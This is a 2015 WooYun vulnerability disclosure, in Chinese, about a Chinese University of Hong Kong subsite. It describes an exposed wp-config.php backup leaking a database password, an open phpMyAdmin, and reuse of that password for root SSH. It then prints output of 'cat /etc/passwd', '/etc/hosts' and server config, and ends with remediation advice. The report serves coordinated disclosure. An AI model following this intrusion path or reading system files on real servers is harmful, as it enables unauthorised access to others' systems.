当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0145527

漏洞标题:香港中文大学某分站存在漏洞(可获得系统权限)(香港地區)

相关厂商:香港中文大学

漏洞作者: 路人甲

提交时间:2015-10-09 20:15

修复时间:2015-11-26 17:44

公开时间:2015-11-26 17:44

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(hkcert香港互联网应急协调中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-09: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-22: 细节向核心白帽子及相关领域专家公开
2015-11-01: 细节向普通白帽子公开
2015-11-11: 细节向实习白帽子公开
2015-11-26: 细节向公众公开

简要描述:

香港中文大学某分站存在漏洞(可获得系统权限)

详细说明:

#1 敏感信息泄露
http://**.**.**.**/wp-config.php~
http://**.**.**.**/wp-config.php~

<?php
/**
* The base configurations of the WordPress.
*
* This file has the following configurations: MySQL settings, Table Prefix,
* Secret Keys, WordPress Language, and ABSPATH. You can find more information
* by visiting {@link http://**.**.**.**/Editing_wp-config.php Editing
* wp-config.php} Codex page. You can get the MySQL settings from your web host.
*
* This file is used by the wp-config.php creation script during the
* installation. You don't have to use the web site, you can just copy this file
* to "wp-config.php" and fill in the values.
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'cuhkd***');
/** MySQL hostname */
define('DB_HOST', 'localhost');


#2 phpMyAdmin对外开放

http://**.**.**.**/phpMyAdmin


利用获取到的敏感信息,数据库密码登陆,这里数据库的root,服务器ssh的root密码都通用;

phpmyadmin_login.png


直接shell连接ssh,root密码是对的:

cuhk_root_login.png

漏洞证明:

#3 获取系统权限

cuhk_wordpress_login.png


#4 间接获取系统信息

[/var/www/html ]$cat /etc/hosts
**.**.**.** localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
**.**.**.** **.**.**.**


[/var/www/html ]$cat /etc/passwd
root:x:0:0:root:/root:/sbin/nologin
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rtkit:x:499:497:RealtimeKit:/proc:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
avahi:x:70:70:Avahi mDNS/DNS-SD Stack:/var/run/avahi-daemon:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
pulse:x:497:496:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
apache:x:48:48:Apache:/var/www:/sbin/nologin
jones:x:500:0:Jones:/home/jones:/bin/bash


NameVirtualHost *:80
<VirtualHost *:80>
ServerAdmin joneschoy@**.**.**.**
DocumentRoot /var/www/html
ServerName gr.ovs.**.**.**.**
ErrorLog logs/gr.ovs.**.**.**.**-error_log
CustomLog logs/gr.ovs.**.**.**.**-access_log common
</VirtualHost>
<VirtualHost *:80>
ServerAdmin joneschoy@**.**.**.**
DocumentRoot /www2root
ServerName **.**.**.**
ErrorLog logs/**.**.**.**-error_log
CustomLog logs/**.**.**.**-access_log common
</VirtualHost>

修复方案:

#1 删除敏感备份文件
#2 phpmyadmin管理入口做访问控制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-10-12 17:43

厂商回复:

已將事件通知有關機構

最新状态:

暂无